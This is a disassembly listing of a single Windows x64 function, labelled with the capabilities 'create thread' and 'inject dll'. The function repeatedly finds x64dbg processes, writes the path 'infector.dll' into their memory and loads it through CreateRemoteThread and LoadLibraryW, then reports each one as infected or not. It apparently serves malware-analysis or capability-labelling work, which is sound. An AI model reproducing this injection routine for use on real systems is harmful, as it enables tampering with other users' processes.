Function at 0x140002600
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor r14d, r14d
mov r15d, r14d
mov dword [rsp + 0x40], r14d
nop dword [rax]
lea rcx, [rbp - 0x19]
call fcn.140001220
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x14000268f
mov rax, qword [rbp - 9]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000268a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002bfb
call fcn.140003990
mov rax, qword [0x1400080b8]
mov rdx, qword [0x1400080c0]
cmp rax, rdx
je 0x140002bde
sub rdx, rax
sar rdx, 2
lea rcx, str.Found_x64dbg_processes:__u___
call fcn.140001020
mov r12, qword [0x1400080b8]
mov r13, qword [0x1400080c0]
cmp r12, r13
je 0x140002b3a
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rbp - 0x71], r14
mov qword [rbp - 0x69], 7
mov word [rsp + 0x48], r14w
or r15d, 2
mov dword [rsp + 0x40], r15d
mov edx, 0x104
mov r9d, edx
lea rcx, [rsp + 0x48]
call fcn.140003410
nop word [rax + rax]
mov esi, dword [rbp - 0x71]
lea rdx, [rsp + 0x48]
cmp qword [rbp - 0x69], 7
cmova rdx, qword [rsp + 0x48]
mov ecx, esi
call fcn.140003878
mov rbx, rax
mov qword [rbp - 0x19], rax
mov ecx, eax
mov r8, qword [rbp - 0x71]
cmp rcx, r8
ja 0x140002757
mov qword [rbp - 0x71], rcx
lea rax, [rsp + 0x48]
cmp qword [rbp - 0x69], 7
cmova rax, qword [rsp + 0x48]
mov word [rax + rcx*2], r14w
jmp 0x1400027aa
mov rdx, rcx
sub rdx, r8
mov rdi, qword [rbp - 0x69]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x14000279d
mov qword [rbp - 0x71], rcx
lea r9, [rsp + 0x48]
cmp rdi, 7
cmova r9, qword [rsp + 0x48]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140002792
movzx eax, r14w
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], r14w
jmp 0x1400027aa
mov r9, rdx
lea rcx, [rsp + 0x48]
call fcn.140003410
cmp ebx, esi
jae 0x140002710
mov eax, dword [rbp - 0x15]
mov dword [rbp - 0x39], eax
lea rcx, [0x1400080a8]
mov qword [rbp - 0x31], rcx
movaps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp - 0x19], xmm0
and r15d, 0xfffffffd
or r15d, 1
mov dword [rsp + 0x40], r15d
test eax, eax
jne 0x140002c17
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x61]
call fcn.140002d10
or r15d, 4
mov dword [rsp + 0x40], r15d
mov rbx, qword [rbp - 0x51]
mov rcx, qword [rbp - 0x49]
mov rax, rcx
sub rax, rbx
cmp rax, 0xd
jb 0x140002843
lea rax, [rbx + 0xd]
mov qword [rbp - 0x51], rax
lea rdi, [rbp - 0x61]
cmp rcx, 7
cmova rdi, qword [rbp - 0x61]
lea rcx, [rdi + rbx*2]
mov r8d, 0x1a
lea rdx, str.infector.dll
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rbx*2 + 0x1a], r14w
lea rax, [rbp - 0x61]
jmp 0x14000285a
mov qword [rsp + 0x20], 0xd
mov edx, 0xd
lea rcx, [rbp - 0x61]
call fcn.140003080
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 7], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x17], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
or r15d, 8
mov rdx, qword [rbp - 0x49]
cmp rdx, 7
jbe 0x1400028cc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x61]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c02
call fcn.140003990
mov qword [rbp - 0x51], r14
mov qword [rbp - 0x49], 7
mov word [rbp - 0x61], r14w
and r15d, 0xfffffffe
mov rdx, qword [rbp - 0x69]
cmp rdx, 7
jbe 0x140002922
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000291d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c09
call fcn.140003990
lea r14, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova r14, qword [rbp + 7]
mov r8d, dword [r12]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140002954
xor r14d, r14d
mov eax, r14d
jmp 0x140002aaf
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp word [r14 + rdi*2], 0
jne 0x140002960
add rdi, rdi
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, rbx
test rax, rax
jne 0x1400029a6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r14d, r14d
mov eax, r14d
jmp 0x140002aaf
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8, r14
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400029eb
xor r8d, r8d
mov rcx, rbx
mov rdx, rsi
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r14d, r14d
mov eax, r14d
jmp 0x140002aaf
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029c2
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov rcx, rbx
test rax, rax
je 0x1400029c8
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
mov r9, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
jne 0x140002a60
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
jmp 0x140002aaf
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp - 0x29], r14d
lea rdx, [rbp - 0x29]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
cmp dword [rbp - 0x29], eax
setne al
lea r8, str._NOT_INFECTED_
test eax, eax
lea rax, str._INFECTED_
cmovne r8, rax
mov edx, dword [r12]
lea rcx, str._u__s_n
call fcn.140001020
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x140002b13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002c10
call fcn.140003990
add r12, 4
cmp r12, r13
jne 0x1400026d0
mov r13, qword [0x1400080c0]
mov r12, qword [0x1400080b8]
cmp r12, r13
je 0x140002b3a
mov qword [0x1400080c0], r12
mov rax, r12
cmove rax, r13
mov rdx, qword [0x1400080c8]
cmp rax, rdx
je 0x140002beb
cmp r12, rax
jne 0x140002bba
test r12, r12
je 0x140002beb
sub rdx, r12
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140002b8d
add rdx, 0x27
mov rcx, qword [r12 - 8]
sub r12, rcx
lea rax, [r12 - 8]
cmp rax, 0x1f
ja 0x140002c21
mov r12, rcx
mov rcx, r12
call fcn.140003990
mov qword [0x1400080b8], r14
mov qword [0x1400080c0], r14
mov qword [0x1400080c8], r14
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002640
sub rax, r12
sar rax, 2
mov qword [rbp - 0x19], rax
lea rdx, [rbp - 0x19]
call fcn.140003340
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002640
lea rcx, str.No_x64dbg_processes_found.
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002640
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp - 0x19]
call fcn.140002580
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3